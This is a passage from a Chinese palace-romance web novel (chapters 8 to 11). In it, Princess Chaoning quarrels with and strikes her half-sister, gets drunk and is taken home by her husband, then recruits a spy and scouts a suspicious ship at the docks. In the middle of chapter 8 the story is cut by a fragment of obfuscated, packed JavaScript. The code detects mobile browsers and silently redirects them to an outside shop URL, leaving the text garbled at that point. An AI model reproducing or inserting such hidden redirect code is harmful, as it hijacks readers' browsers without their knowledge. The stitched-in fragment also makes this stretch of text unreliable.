“殿下,您今个真的不回驸马府吗?”莲心端过来一盘水果,轻声问道。
朝宁仰头饮尽杯中酒,白皙的面颊渐渐染上红晕。如瀑青丝铺散在摇椅上,随着摇椅轻晃。她仰望着头顶的桂树,眼前却浮现出昨夜那双炽热的眼眸。
她摇了摇头,“还是自己府里好!”
又饮了几杯,醉意渐浓。树梢飘落几片桂花,孤零零地落在她手背上。
纤细的指尖拈起花瓣,轻轻揉搓。
这飘零的桂花,倒与她有几分相似——看似身在锦绣从中,实则孤独无依。
-
朝宁不知睡了多久,醒来时身上盖着莲心准备的薄被。摇椅仍在轻轻晃动,桂花的香气愈发浓郁。
夕阳的余晖透过桂树枝叶,在她身上投下斑驳的光影。朝宁抬手遮住眼睛,“莲心,什么时辰了?”
“殿下,未时了。”
朝宁伸了个懒腰,“准备一下,进宫。”
她虽常年居于宫外,出入皇宫来去自如,朝宁直奔了御书房。
刚到殿外,就见李钦如见救星般疾步迎上:“参见公主殿下!您来得正是时候,快去劝劝陛下吧!”
朝宁眉心一蹙:“父皇怎么了?”
李钦愁眉不展,“昨日...融贵妃寝宫被烧,陛下回宫后就晕厥过去。太医说是急火攻心,需静养调理。可今儿个一早,陛下就进了御书房,至今未出,奴才怎么劝都不听啊”
“晕倒了?怎么没人通知本宫!”朝宁心头一紧,但心里清楚究竟为何。
李钦慌忙解释:“是陛下严令不许外传的。昨夜陛下更是在西暖阁独坐
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了一整夜,奴才实在是担心...陛下的龙体...”
“知道了。”朝宁推开御书房的门,只见朝渊正端坐在御案前批阅奏章,神色如常。见朝宁进来,他放下朱笔,语气温和:“颐宁,今日怎么来了?”
朝宁径直走到朝渊身后,双手轻轻搭上他的肩膀,力道适中地揉捏起来:“父皇身子不适,为何不告诉儿臣?”
“又是李钦多嘴!”
“父皇!”
朝渊拍拍女儿的手,叹息道:“无碍的。只是听闻你母妃寝宫出事,心里难过。”
朝宁沉默地听着父皇继续道:“昨夜醒来后,朕在西暖阁独坐了一宿。朕在想,是不是你母妃在怪朕没有照顾好你...融儿生前最爱的就是融沁宫,朕守护了这么多年,从未有过半点差池。这次走水,许是她在天上怨朕...”
“不会的。”朝宁声音平静。
朝渊拉着朝宁的手,将她带到身前。朝宁这才看清父皇鬓角新添的白发,在烛光下格外刺目。
“当日,你和贺砚知一起来求朕,朕真的很开心能看着你出嫁,昨夜融沁宫走水,可能就是融儿在怪朕没有为你婚事考虑周全,所以朕把王姑姑派给你。”
朝渊叹了口气:“没有多久便是归宁节了,朕问过钦天监,今年要以祖制操办,怕真是天象不吉,伤了融儿。”
朝宁看着父皇眼角将落未落的泪光,此刻的他不是九五之尊,只是一个思念亡妻、牵挂女儿的父亲。
她突然不忍心将原本想说的话说出口,她回握住父皇的手,“若是母妃在,也不忍心父皇如此憔悴,您要多保重龙体,母妃才会安心。”
走出御书房时,暮色已染红了半边天空。夕阳穿透云层,将整座皇城笼罩在一片鎏金般的光晕中,恍若天降金雨。
她突然想在这皇宫里走走。
从御花园穿过路过皇祖母生前居住的慈宁宫,也是小朝宁过得最开心的几年,记忆里,她总爱缠着皇祖母追问:“我的母妃究竟是什么样的?”
皇祖母只是将她搂在怀里,说她是一个很好的人,也是这世间最爱朝宁的。
不知不觉间,朝宁走到了母妃生前的寝殿。皇帝已下令重修融沁宫,所有遗物都被妥善收进了启祥宫。
朝宁突然想到或许可以借着这个机会,去看看母妃生前的遗物。
只是半路,又碰上了个硬茬子。
“朝宁!”
朝宁转身,一个身穿粉红色罗裙的少女满脸不愿地向她这边走过来!
“哟,这不是二妹吗?”
“谁是你妹妹!”朝冉气得双颊绯红,发间珠钗乱颤,“我母妃只有我一个女儿!”作为淑妃独女,这位二公主明年才及笄,却向来与朝宁势同水火,但朝宁从来没把她当回事。
朝宁睨了她一眼,语气轻慢:“我可没时间陪你在这里打嘴仗。”
正要转身离去,朝冉却一个箭步拦在跟前:“朝宁!你太无耻了!明年本公主及笄就是我嫁给贺砚知!哪里轮得到你!”
提到贺砚知,朝宁来了精神,嘴角勾起一抹玩味的弧度,故意放慢语速,字字珠玑,“现在,他是我的驸马,日日夜夜要与我同吃同住。”
她故意贴近朝冉几分,朝宁挑眉一笑,眼神挑衅,“你能如何?”
8. 醉酒
朝冉气得脸色发青,眼中闪过一丝狠戾,“朝宁,你别得意得太早!贺砚知迟早会发现你的真面目,到时候你就等着被他抛弃吧!”
朝宁讥笑一声,“抛弃?你自己去问问贺砚知,他有那个胆子吗?”
她又俯身凑近朝冉耳边,“至于真面目,应该说,没有人比贺砚知更知道我的真面目了吧。”
朝冉浑身发抖,指甲深深掐进掌心:“你!”
“小妹妹,人贵自重,男人那么多,何必为了这一个自讨没趣。”
“本公主看上的就是我的!”朝冉歇斯底里地喊道,“从小到大,你仗着你那死去的母妃抢了我多少东西!这次我绝不会让你!”
朝宁眼神骤然转冷,从前只觉得她从小被宠坏了长不大,懒得理她,没想到今日当着她的面敢如此口无遮拦!
“啪!”
清脆的巴掌声在深宫长巷中格外刺耳。在场宫人全都屏住了呼吸,无人敢上前阻拦。
“你竟敢...”朝冉捂着脸,不可置信地瞪着朝宁。
朝宁抬腿又是一脚,狠狠踹在朝冉的小腿上。朝冉吃痛,踉跄着跪倒在地。
“谁敢扶她!”朝宁一声冷喝,吓得宫人们纷纷后退。
“你!你打我?”
朝宁一把扣住朝冉的肩膀,用力压了下去,朝冉只觉得自己腿已经疼的没有知觉了,根本站不起来。
“这一巴掌,替淑妃打的,你回去可以将这番话,完完整整地告诉她,你问问她敢不敢将这话一字不落地说出来口!”
说完,朝宁起身,冷冷地对身后的宫女说道:“让二公主跪在这里反省一个时辰,若是不愿,便请淑妃亲自来领人。”
宫人们屏息垂首,连大气都不敢出。朝宁的目光掠过朝冉惨白的脸,最后定格在远处朱红的宫墙上:“若觉得委屈,大可告到御前。本宫随时候着。”
这么一闹,朝宁完全没有心思再去启祥宫,出了宫门,马车外莲心正在等她。
莲心小跑上去,见朝宁脸色阴沉,“殿下,发生什么事?”
朝宁沉默地登上马车。车厢内气氛凝重,莲心弱弱地问道:“殿下,咱们是回...”
“回公主府。”
-
因皇帝身体问题,贺砚知身为右相得以在皇宫的偏殿为皇帝处理政务。
午后的夕阳顺着窗隙照到桌案上,正落在他正要处理的公文上,他愣了一瞬,想起今天早上,贺砚知今日突然想早点回去。
突然,梁蔗惊慌失措地跑进来。
“主子!”
贺砚知眉头微皱:“何事如此慌张?”
“方才颐宁公主在南长街将二公主打了一巴掌,说是让二公主跪在那里一个时辰不准任何人去扶,必须请淑妃娘娘去把二公主接回去。”
贺砚知拿着的笔迟迟没有落下,“公主现在何处?”
“已经出宫了。”
贺砚知将笔放下,问道,“可知为何要打她?”
梁蔗犹豫片刻,压低声音,“据说因为...主子您,而且好像二公主对颐宁公主的母妃不敬...”
贺砚知眸色一暗,“跟着我去南长街。”
“主子...”梁蔗喊住了贺砚知,“主子...您不会是对....”
“梁蔗。”贺砚知语气变得阴沉,“我说过管好自己该管的,原本计划有变,如今是最好的办法,若是再生变,你当如何?”
梁蔗立刻跪地:“属下知罪。”
办公地点离长街不远,贺砚知到的时候,正碰上淑妃扶起朝冉,朝冉捂着自己的脸,和淑妃抱怨朝宁的所作所为。
朝冉看见贺砚知,整个人委屈起来,“贺...大人...”
贺砚知视若无睹,向淑妃行礼:“臣参见淑妃娘娘。”
淑妃率先开口,“右相大人,这是办完公事,要出宫了吗?”
贺砚知浅笑,“是,臣毕竟刚成婚不久,还想回府多陪陪颐宁殿下。”
朝冉的脸色唰下变了,“这就是我那好皇姐打的!贺砚知!您就不能...”
淑妃脸色也沉了下来,“朝冉,不许胡说!右相大人,见谅!”
贺砚知后退半步,郑重一揖。
“右相,这是何意?”
“颐宁殿下是臣的妻,自然由臣待殿下向娘娘道歉,但恕臣直言,颐宁殿下从小没有母妃,不比二殿下天伦幸福,还望娘娘教导二公主,什么话该说,什么话不该说。”贺砚知沉着眸子,缓缓道。
淑妃微微点头,“右相大人谏言,本宫记下了。”
贺砚知回到府内,难得的安静,回到后院,也未见朝宁的身影。
王姑姑见他回来,连忙上前行礼:“驸马回来了。”
贺砚知问道,“姑姑,可见到殿下?”
“殿下一早就出门了,至今未归。”
贺砚知微微点头,“知道了。”
---
公主府的朱漆大门内,难得透出几分久违的喧嚣,貌似回到从前那般,灯火通明。
朝宁今夜忽起兴致,非要在这秋夜里舞剑。
她自从学了武,就将原来的公主府整个改造了一番,她特意将后院辟出一方平整开阔的练武场,四周花木扶疏,本是夏日练武的好去处。
此刻院中摆开几案,陈列着她素日最爱的酒酿。
秋意渐浓,太阳落山后寒气更增几分,莲心担心她的身体,想劝阻,但是公主却铁了心要喝酒舞剑。
莲心心里不是滋味,她从小跟着殿下,每次殿下心中不快时,从不显山露水,只会这般将自己灌醉。
“铮——”长剑出鞘,剑尖轻挑,一盏酒凌空而起。朝宁足尖轻点,衣袂翩跹间稳稳接住酒杯,仰头一饮而尽。
“这酒,真是越喝越有滋味。”她轻笑一声,声音带着几分慵懒和醉意,又将酒盏凑到唇边。酒液滑入喉间,她微眯起眼,一滴水珠自睫羽滚落。
低头望着杯中残酒,她唇角泛起苦笑。母妃逝去,人人嘲她依着这份哀伤,嚣张跋扈。可谁又真正问过,从小未见自己母亲的朝宁,是否难过。
融沁宫那么多遗物,她连一件都看不得、留不住,最后只争来一棵不会说话的树。
她缓缓舞动长剑,剑如飞雪,她的身姿如梦似幻,动作轻盈如燕。剑尖挑起一杯接着一杯,剑光闪烁间,带起一阵清风,吹得四周枯叶飘落,长发在风中飞扬,发丝如墨般洒落。舞动间,绯红色的裙摆随着动作轻轻摇曳,如同剑气盛开的花瓣,让人移不开眼。
“殿下...”莲心的声音带着哭腔,“您真的不能再喝了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572731|187068||http|test|mini|href|location''.split(''|''),0,{}));
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>月亮升起,银辉冷冷洒落满地碎坛残盏和一地的枯叶。
“她喝了多少?”
贺砚知突然出现在背后吓了莲心一跳,但是心里又松了口气,“驸马...殿下她喝了整整三坛了,奴婢们实在拦不住......!”
朝宁已经醉得不成样子,脚步凌乱,随时就要倒下,却仍紧握着长剑不肯松手,让人根无法靠近,恐被剑所伤。
“你们都出去吧。”贺砚知开口道。
待院中只剩二人,他倏然上前,指尖轻巧一拨,长剑应声落地。在朝宁倾倒前,他已将人稳稳接住。
凉亭里,贺砚知抱着朝宁坐下。
怀中人眼中蒙着水汽,那双总是神采奕奕的眸子此刻正迷蒙地望着他。
“贺砚知。”朝宁这三个字说得缓慢,似乎在确认眼前人。
贺砚知声音不由柔了几分,“为什么喝这么多酒?”
朝宁眨了眨眼,偏过头避开他的视线,醉醺醺地笑道:“酒...喝酒...当然是为了...开心啊!”
贺砚知却能看清她那颤抖的睫毛上挂着的泪珠,他将朝宁微微垂下的头扶进怀里。
“你想不想喝酒?”她突然抬头,指尖点着他的鼻尖,声音软得像梦呓,“我府里藏着全京城最好的酒...赏给你了...”
贺砚知没有说话,只感受微风带着她身上的酒气。
“怎么!瞧不起我?”她突然挣扎起来,语气带着醉后的倔强,“本公主赏的酒都不喝?”
见他不答,她忽然泄了气,声音低下去:“算了...不喝...就不喝吧...”眼泪像断了线的珠子,啪嗒啪嗒往下掉。
贺砚知轻轻捧起她的脸,指腹温柔拭去泪痕:“喝,现在就喝。你能找到酒吗?”
“酒...”她茫然四顾,眼神涣散,“我的酒...我忘了...”说着突然放声大哭,压抑许久的情绪终于决堤。
“我想回家。”她哽咽着揪住他的衣襟。
“好,我们回家。”
不过片刻,莲心便见驸马抱着熟睡的公主走来。朝宁安睡在他怀中,眼角还带着未干的泪痕。
“驸马,殿下的寝殿在...”莲心话音未落,贺砚知已抱着人径直越过她。
“今夜,她随我回府。”
莲心尚未回神,只见二人身影已远去,忙吩咐了几句便匆匆跟上。
夜深人静,马车碾过青石板路发出细微声响。朝宁在贺砚知怀中睡得香甜,月光透过车窗,温柔描摹着她的睡颜。贺砚知凝视着她,不由自主地想抬手触摸,却在指尖即将触及的那一刻收回。
他唇角扬起的弧度渐渐消失,眼中的温情慢慢褪去。
马车在贺府门前缓缓停下。下人们只见驸马抱着公主步入卧房,莲心与王姑姑连忙上前为朝宁梳洗更衣。
贺砚知独自站在院中,月光将他的身影拉得修长。他面容沉静地垂眸而立,直到屋内动静渐歇,人尽褪去,犹豫片刻才推门而入。
寝室内一片静谧,唯有月光透过纱窗,在朝宁脸上投下温柔的光晕。她双颊泛着醉后的酡红,褪去了平日里的锋芒,乖巧得惹人怜惜。
他细心为她掖好被角,正要转身离去,却被一只柔软的手紧紧握住手腕。
“别走...贺砚知...”
9. 醉酒后
贺砚知的手腕被攥住的瞬间,浑身僵住,喉结在阴影中滚动出隐忍的弧度,垂落的指节微微泛起青白。
本不该停留的。不能心软,但是冰凉的触感直触心脏,一点一点带动着全身血脉。
他停在床边,榻上人深陷梦魇之中,发出几声低低的呓语,手却紧紧拽着他不肯放开。贺砚知狠下心,一根根掰开那冰凉的手指。
“回...回家...”
梦呓声从身后传来,他脚步顿在原地,终究没能迈出下一步。
攥紧的拳缓缓松开,他轻叹一声,转身回到榻前。
贺砚知缓缓坐在床边,在近距离的凝视中,他看到了朝宁那沾着水汽的睫毛,微微颤抖着,带着未干的泪痕。
他伸手,如同安抚婴儿般轻轻拍着她的背,直到她的呼吸渐渐平缓。
月光透过窗帘的缝隙洒在床边,给房间镀上一层淡淡的银色。
贺砚知将她额间凌乱的发丝细细理顺,指尖抚过最后一缕青丝时——
蓦地对上一双明亮的眼眸。
贺砚知呼吸一滞,不知是不是朝宁已经醒了,准确来说,是否从酒醉中清醒过来。
四目相对间,那双眸子又缓缓闭合,发出断断续续的呓语:“能...不能...别走...别抛下我...”
贺砚知眼底波涛翻涌,他轻轻抬起她的下巴,凑近几分:“你想好了?”
朝宁再无回应,仿佛方才的对视只是幻梦。
贺砚知小心地让出半榻,平躺下来。片刻后却还是固执地将人揽入怀中,闭眼感受彼此交织的呼吸。
月光静静流淌,将相拥的两人裹进银色的梦境。
-
宿醉未消,朝宁在晨光中蹙眉醒来,头还是很痛,她未睁开眼睛,本能地蜷缩着身体往温暖处依偎。
她只是微微动了一下,这触感...
全然大梦清醒!
她猛地睁眼,对上贺砚知沉静的睡颜。自己竟以极其亲密的姿态被他圈在怀中,鼻息间满是清冽的沉香气息。
跟前一天清晨一样!
朝宁颊边顿时飞起红霞,挣扎着要起身,却被贺砚知的手臂牢牢禁锢。
朝宁无奈,她抽出手直接朝着贺砚知的鼻子下手,双手按住的一瞬,眼前的男人便睁开了眼睛。
“贺砚知,你怎么会在我公主府?”
贺砚知低笑一声,轻轻将她的手从自己颈间移开:“殿下再仔细瞧瞧?”
朝宁环顾四周,这才惊觉房中陈设全然陌生——这分明是贺砚知的卧房!
她懵懵地睁着惺忪睡眼,几乎要以为昨夜醉酒的种种不过是场过于真实的梦魇。
“殿下昨夜确实醉了,是我将您带回来的。”贺砚知话音未落,朝宁已猛地攥住他的衣襟!
她翻身跨坐到他身上,居高临下地逼视着他。两人气息咫尺交织,贺砚知却丝毫不作反抗,只静静望着她。
那双深邃的眸子静静凝视着朝宁,带着几分难以捉摸的意味。
“贺砚知!你现在真是大胆了,敢从我府里把人带走。”
“昨夜不是公主抱着我,哭着不让我离开。”贺砚知唇角噙着笑,“还说若是我不走,就把公主府里所有的好酒都给我。”
“胡说!”朝宁觉得有点躁得慌,她喝完大酒,过夜就不记得,但绝不肯承认这般丢人的行径。
朝宁其实手上并未用力,她逼近贺砚知几分,指尖轻抬他的下巴:“你要是敢骗本公主,绝对饶不了你!”
贺砚知笑意更深:“殿下昨夜还一直攥着我的手,反复唤着我的名字。莫非...”他故意拖长语调,“殿下对我早已情根深种?”
“放屁!你要再胡说,我就摘了你的舌头!”朝宁凶巴巴地,落在他眼里却像只张牙舞爪的猫儿。
他确实说了谎。昨夜她攥着他的衣襟时,嘴里反复呜咽的是“母妃...娘亲...”
“与殿下开个玩笑,既已成亲,殿下若总住公主府,难免落人话柄。”
朝宁哪里听得进这些,满脑子都是他描述的荒唐画面。越看越觉得这人碍眼,她忽然松手俯身,对准他微敞的肩头狠狠咬下。
贺砚知浑身一颤,仿佛被惊雷劈中。感受到温热的血液在齿间蔓延,朝宁才松口,用力抹去唇间血渍。
他白皙的肌肤上赫然印着深深的齿痕,渗着血珠。贺砚知整个人僵在原地,神情恍惚。。
朝宁正得意,腰间突然被一双手牢牢扣住!天旋地转间,她整个人被按回他怀中,脸颊正好贴在那处新鲜伤口上。
“贺砚知!你疯了吗?放开!”朝宁挣扎着踢打,却撼动不了分毫。
“这伤口还在流血,殿下就这么走了?”
“对,你说得对,咬一口真是太便宜了,我这就拿鞭子多抽你两下!”
两人在屋里吵作一团,屋外却突然传来敲门声。
“殿下,您起来了吗?”是莲心的声音。
刚才还纠缠在一起的两人,仿佛被这一声敲醒,贺砚知松开了手,朝宁一下子蹿到床的里侧,和贺砚知分开得很远。
贺砚知笑了一声,看着朝宁慌乱地跑下床。
莲心站在外面,等了一会儿,不见回声,“明明听见屋里有声响的...是听错吧。”
莲心转身离开,身后的门吱呀一下打开了,却见驸马从里面走了出来。
莲心一下愣在了原地,她明明记得,昨晚驸马与她和王姑姑说,殿下今日心情不佳,他去书房住的...怎么...今早...
更让她心惊的是,驸马白衣服上有一个血红的印子,莲心震惊的忘了请安,等贺砚知走远,才端着水盆进来。
朝宁正坐在床上叹气,昨夜为了纾解心绪,却没想到在贺砚知这个家伙面前出了那么大丑!
连续两天了!每天睁开眼睛就是贺砚知那张脸,真让人心惊!
“殿下...”莲心轻唤了一声。
朝宁回过神,埋怨道,“小丫头!我还没找你算账呢!昨日不是说了住在公主府,怎么今个又回了这儿!”
莲心委屈,“殿下,这也不能怪奴婢...是驸马抱着已经喝醉的您回了这儿,奴婢们也没法拦着啊...”
朝宁摆了摆手,“算了,不怪你。”她可是要长记性,这事绝不能再发生了。
今日的早饭相对无言,王姑姑也一反常态没有盯着,二人各自用着喜欢的菜式,这饭吃得相对和谐点。
贺砚知想起昨日之事,率先开口:“二公主已被淑妃娘娘接回宫中,罚禁足十日。”
朝宁夹起一块翡翠虾仁,语气淡然:“她从小被宠坏了,也该教训教训了。”
她从未将朝冉视作对手,不过是个未及笄的小丫头,平日懒得计较,却不想
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纵得她越发不知分寸。
“殿下可有解气?”贺砚知忽然问道。
朝宁怔了怔,随即轻笑:“谈什么解不解气。本公主若受了委屈,向来都是当场就讨回来的。”
说话间,朝宁的目光不由自主地瞥向贺砚知的肩颈处。此刻那处已被衣领严实遮住,再看不见今晨她留下的齿痕。
真是烦人!怎么想来想去都是自个儿丢人!
贺砚知似乎察觉她的心思,唇角勾起一抹若有似无的笑意,从容端起汤羹轻啜一口。
早膳后,朝宁正欲更衣出府。若真如她所料,摩什要在归宁节有所动作,此刻已是迫在眉睫,容不得半点闪失。
却见贺砚知并未如常进宫,反而闲适地坐在厅中看书。见朝宁要出门,他抬眼问道:“殿下要出府?”
朝宁反问:“你今日不用进宫?”
“今日我休沐。”
“那你好生待着吧。”朝宁敷衍地点点头,转身要到卧房换身衣服。
贺砚知却突然站起,挡在她面前,“殿下打算出府去哪?”
朝宁蹙眉:“本公主要去哪,现在还得先问过你了?”
“让我猜猜?”他缓声道,“乐宴坊的事,殿下还未放下?”
朝宁面露不耐:“是是是,贺大人英明。现在能让开了么?”
贺砚知微挑眉梢,“今日我休沐,不如陪殿下走一遭?”
朝宁未答,他继续道,“来回原委,我也知晓,殿下不想多个帮手?”
朝宁思索片刻,“去可以,但是要听我的!”
“我一直都很听殿下的。”
回到卧房,朝宁利落地在贺砚知脸上改造了一番,虽不似那日夸张,至少也不轻易被常人认出,而朝宁还是穿了一身男装。
二人出府时已近午时,市井喧嚣远比夜晚的乐宴坊热闹得多。
贺砚知注意到,朝宁此次出示的玉牌与上回截然不同。
顺利登上三楼后,贺砚知才看清玉牌上刻着的竟是“南灵”二字。他蹙眉低语:“如此明目张胆找她,岂不打草惊蛇?”
朝宁唇角微扬:“那日,你也看到了,虽为摩什布下的棋子,但这棋子未必甘心任人摆布,若是有一个更好的选择,她会选的。”
她压低声音,敲响了南灵的房门,“南灵姑娘可在?”
门内窸窣作响,启门时脂粉香气扑面而来。贺砚知下意识以袖掩鼻。
南灵倚门而立,眸光流转间带着几分探究:“二位瞧着面生?”
“南灵姑娘名动京城,我兄弟二人特来一睹芳容。”朝宁把玩着手中玉牌,指尖轻佻地勾起南灵一缕发丝,动作娴熟得毫无破绽。
南灵柔若无骨地偎进朝宁怀中:“公子今日想寻什么乐子?”
朝宁指尖轻抚过她脸颊:“听闻姑娘琴艺冠绝京城,不知可否赏光听一曲?”
“真不巧呢。”南灵眼波流转,“昨日琴弦断了,已送去修缮。不如听奴家唱支小曲?”
朝宁面露憾色:“我兄弟二人不日便要离京,只怕等不到修好那日了。”说着给贺砚知递了个眼色。
贺砚知当即取出一锭银元置于案上。南灵见状笑道:“公子若是不急,五日后归宁节坊内会有盛筵,定能让二位一饱耳福。”
朝宁与贺砚知对视一眼,朗声笑道:“除了琴艺,不知姑娘还准备了哪些绝技?”
10. 挣个未来
南灵执壶为二人斟酒,神色已不似方才温婉:“二位公子今日前来,当真只为听曲?”
南灵混迹多年,自然不会轻信来客说辞。若无这般敏锐,她无法为摩什所用,更不会在这十年混到如今地位。
朝宁把玩着酒杯,反问道:“那南灵姑娘以为...我们所为何来?”
南灵整了整衣襟,敛去媚态:“公子的话,倒让奴家听不明白了...”
朝宁却话锋一转:“姑娘是十年前来的乐宴坊吧?”
南灵瞳孔骤缩:“公子若无意听曲,便请回吧。”她抬手送客,指尖微颤。
朝宁安然不动,“卧底十年忍辱负重,好不容易坐上花魁之位,总不想前功尽弃吧?”
眼见南灵身形一僵,下一刻寒光乍现,袖中匕首直刺朝宁面门!
贺砚知正要出手,却见朝宁翻腕扣杯,盏沿精准抵住刀尖:“姑娘这抚琴的手,实在不该握刀。”她顺势滑开匕首,“今日前来,是想与姑娘做笔交易。”
“你们二人究竟是谁?”
“是能救你的人。”贺砚知声音沉稳如山。
南灵收回匕首,广袖一拂落座椅中,冷笑出声:“救我?奴家在乐宴坊如鱼得水,纵然身处风尘,也不是任人拿捏的软柿子。”
“是吗?”朝宁指尖轻叩桌面,“若没记错,派你来京城卧底的那位...前些日子刚见过你吧?”
南灵脸色骤变:“你到底是何人?”
“我是谁并不重要。”朝宁眸光一转,指向身旁的贺砚知,“重要的是他——既已知道你的身份,带走你轻而易举。但我们不会伤你分毫,反而好吃好喝的待着你,留你到归宁节”
她语气渐沉,“待到节后,姑娘的结局...自不必多说,而你这些年所求的安稳日子,也将不复存在。”
南灵指尖猛地收紧,贝齿咬住下唇。
她凝视着始终沉默的贺砚知,这人周身透着不容忽视的威压,分明是久居上位之人。
“你们既知我身份,”她声音里带着几分试探,“就不怕我将今日消息,原封不动地传出去吗?”
“我们既然敢来,自有万全之策。”贺砚知从容道,“但姑娘若当真忠心不二,此刻我们也不会在此平心相谈。”
南灵沉默良久,目光扫过这间精心布置的香闺,每一处陈设都彰显着她这些年来的苦心经营。十年光阴,她早已习惯将命运握在手中,却终究难逃为人棋子的宿命。
“我...该如何信你们?”她终是问道。
一块莹润玉牌应声落在案上。南灵凝神看去,只见上等的羊脂白玉上赫然刻着“贺”字。
她身形微震,满京城谁人不识这个姓氏?
朝宁唇角轻扬,“如此,可够给姑娘一个保障?与过往彻底断绝,你还是乐宴坊的南灵,是大夏的南灵。”
南灵凝视玉牌良久,指尖微微发颤。终于,她深吸一口气:“我信你们。想要知道什么?”
“那人究竟要你在归宁节做什么?”朝宁倾着身子,压低声音问道。
“他让我在节当日安排一场献舞,说陛下游行时会经过乐宴坊,要我于献舞之际呈上一物。”
朝宁皱起眉头,“一物?什么东西?”
“不得而知。”南灵摇头,“历来都是他单线联络,只道那物自会准时送达,要我依计行事便可。”
朝宁抬眼问道,“他与你约定哪个时辰?”
“并未提及具体时间。”
朝宁心中一动,那日入宫时父皇确曾说过要“依祖制而办”,可她心中不免生疑,摩什为何能对皇室行程如此笃定?
“说说这些年来你们如何联络。”
南灵深吸一口气,姣好的面容浮现一丝黯然:“我本是绥丹孤女,自幼父母双亡,流落街头,被他捡回培养成细作,最后送入这乐宴坊。”
她抬眸环视满室金碧辉煌,声音里带着几分自嘲,“当年同来京城的共有十余人,最终唯我一人在这吃人的地界活了下来,坐上这个位置。”
痛苦的过往闪在眼睛,南灵深深喘了口气,才继续说道,“每半年,就会有小厮进来借着送花的由头,我会将半年内整个京中形势传出去。但是每次来的人都不一样,我无法主动和他联系。”
朝宁沉默片刻率先开口,“既然各自摊牌,你当明白,从今往后须与他彻底割席,再不能做任何损害大夏之事。”
“自然。”南灵眼中闪过决然,“十年苦心经营才换来今日安稳,我不愿再做他人棋子,但求往后能为自己而活。”
朝宁展颜一笑,看着眼前人,“放心,只要你听话,我会为你实现这一切。”
南灵犹豫再三还是说出了口,“还有一件事,我觉得你们应该想知道。”
“什么?”
“那日他离去后,我遣人暗中尾随,见他去了码头一艘客船,停留约一炷香时辰后方才出来。”
贺砚知追问:“他手里可拿东西?”
南灵摇摇头,“没有。”
朝宁眼睛一亮,不管是真是假,终究是一个线索,他们在明,摩什在暗,这场游戏总要掌在自己手里。
朝宁眼波流转,对南灵微微一笑,“今日与南灵姑娘聊得很开心,归宁节那日我们必会来给姑娘捧场。”
二人正要离去,只听身后的南灵忽道:“可否与这位公子单独一叙?”她的视线落在朝宁的身上。
朝宁对上那双颇为急切的眼睛,回头对贺砚知说道,“你先出去等我吧。”
贺砚知扫视一圈南灵,点点头推门而出。
“说吧,想和我说什么?”
不及朝宁反应,眼前的南灵突然半跪在地上,“见过颐宁公主。”
朝宁挑眉,并不惊讶,挥挥手让她起来,“如何认出我的?”
“能让当朝右相屈尊来此寻我。”南灵抬眼直视,目光如炬,“除却殿下,天下再无第二人。”
朝宁坐回原位,“你既看破我身份,就该明白这般直言不讳于你并非好事。”
“既然想为公主做事,我不愿有所隐瞒,也请您放心,我绝不会成为您的威胁。”
她眼睫微垂,“毕竟,若是当初没有您,或许我活不到现在。”
朝
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宁皱起眉,她虽然是这乐宴坊的常客,但是对待南灵,她实在是想不起来,自己是何时救过她。
南灵露出一抹苦涩笑容,“您果然不记得了,七年前的乐宴坊,我因一点小事差点被人打死,是您出手救了我。”
朝宁起身拍拍南灵的肩膀,“没有人是你这一路上的救星,想要什么就要靠自己拼命去争。”
南灵怔在原地,注视着朝宁的双眼微微湿润,这些年她拼命走到现在,却总是逃不开一个细作的身份,逃不出一个棋子随时被处理掉的结局,所以,她要争,争一个属于自己未来。
“还有...”朝宁转身对南灵又道,“衣柜后面暗格,尽快处理掉吧。”
朝宁转身离去,贺砚知正在门外等候,一起出了乐宴坊。
等走远后,贺砚知方才开口,“你真的相信她?”
朝宁停下来瞟了一眼贺砚知,“无所谓信或不信。但归宁节那日摩什必会出手,至少这点她没说谎。”
她回头看向乐宴坊,“至于以后,我有信心将她收归己用。”
贺砚知看着她一脸笃定的模样,不由轻笑:“殿下就这般自信?不怕中途翻船?”
朝宁抬手拍了拍他的肩:“这不还有贺大人你在背后坐镇么?出门在外,贺大人的身份可是比我的好用多了。再说,我若真将乐宴坊拿下,最终受益的还不是你?”
二人心照不宣,没有挑破夹杂在中间的利益关系
贺砚知挑眉未语,嘴角微微上扬,“那日后可要多仰仗殿下了。”
二人沿着街边的石板路缓缓前行。周围的行人熙熙攘攘,人声喧杂,看似闲散的二人,也入了着暗潮汹涌的棋局。
朝宁拉着贺砚知并未回府,而是绕道潜入醉月楼。在她一番“打扮”之下,两人转眼间又换了一身粗布行头。
贺砚知颇为无奈,这短短几天,自己的行头可是换了一套又一套。
他知道朝宁心中所想,“你不信南灵的话?”
“防人之心不可无啊,贺大人读了那么多圣贤书,这点不知道?”
贺砚知未言,安静地站在朝宁身后为她系紧了头巾。
两人乔装妥当,确认无人跟踪后,悄悄从醉月楼后门溜出,沿着长街一路往码头方向而去。
中秋将至,码头上货物往来愈发繁忙。但此地却非贺砚知所能管辖,码头上贸易往来都是归左相杜仕远所管辖。
那个杜老头一直对朝宁不和善,她自然不好明着查探,只得暗中潜入。
朝宁与贺砚知混在川流不息的人群中,压低草帽,学着搬运工的模样躬身而行,小心翼翼地避开那些忙碌的商贩和巡查的守卫。码头上人声鼎沸,货船的桅杆高高耸立,货物被一箱箱搬运上岸,空气中弥漫着海水咸腥与货物尘土的混合气味。
朝宁的目光在人群中扫过,试图寻找任何可疑的迹象,南灵说摩什曾去过码头,必定与归宁节的谋划脱不了干系。然而,这码头大多都是商船、民船,根本无法锁定摩什到底登上的是哪一艘。
货船来来往往停泊在岸边,忽然,朝宁的视线定格在其中一艘船上。
11. 暗探贼船
朝宁猛地将贺砚知拽入货堆的阴影处,
贺砚知正要开口,却被她以指尖轻按唇瓣制止。她引着他的视线投向那艘可疑的船只。
只见工人们正搬运着看似寻常的木箱,混在码头繁忙的作业中,若不细察,确与别处无异。
朝宁虽然不曾有过下海跟船的经历,可她敏锐地注意到有些不对劲的地方,此刻虽然深秋,但是干重活的人哪个不是撸起袖子,哪有像这艘船的工人将手腕脚踝裹得严严实实,与其他船上撸袖干活的工人大相径庭。
一个也就罢了,来往所有,皆是如此,恐怕这袖中藏着猫腻。
